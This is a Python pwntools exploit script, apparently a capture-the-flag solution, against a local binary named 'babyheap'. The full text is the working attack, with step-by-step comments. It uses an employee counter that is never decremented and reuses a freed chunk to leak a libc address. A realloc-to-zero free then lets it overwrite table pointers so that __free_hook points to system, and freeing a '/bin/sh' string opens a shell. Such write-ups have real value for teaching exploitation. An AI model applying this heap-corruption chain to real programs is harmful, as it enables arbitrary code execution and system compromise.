if __name__ == "__main__":
    p = process("./babyheap")
    create_team(0x20, "aaa\n")
    manage_team(0)
    #
    # obj[0] is desc
    # obj[1] is num_employees
    # obj[2] is table of employees
    #
    # The total number of employees should be 0xff.
    #
    names = ["/bin/sh\x00" for x in xrange(255)]
    add_member(255, names, names)
    #
    # Removing an employee doesn't decrement the counter
    #
    remove_member(0)
    return_to_menu()
    #
    # Each employee object is of size 0xC8.
    # Deleting an employee puts the object in free list.
    # Allocating another team with description size 0xC8
    # returns that chunk.
    #
    create_team(0xC8, "\n")
    libc = list_teams(2) - 0x3c4b0a
    free_hook = libc + 0x3c67a8
    system = libc + 0x45390
    log.success("Leaked libc @ {}".format(hex(libc)))
    #
    # Adding one more member makes total = 0x100
    # realloc is called with last byte of total
    # realloc(table, 0) => free(table)
    #
    manage_team(0)
    add_member(1, ["blah"], ["blah"], True)
    return_to_menu()
    #
    # Now we use the create_team function
    # with size of description = 0x7f0
    # So the table will be allocated back to us
    # And we can edit the pointers
    #
    create_team(0x7f0, p64(free_hook))
    #
    # Now we can use the edit functionality of team 0
    # and edit the free hook to point to system.
    # And call free with a block that contains /bin/sh
    #
    manage_team(0)
    edit_member(0, p64(system))
    #
    # Now we've changed the free hook to system
    #
    remove_member(4)
    #
    # And here's the shell
    #
    p.interactive()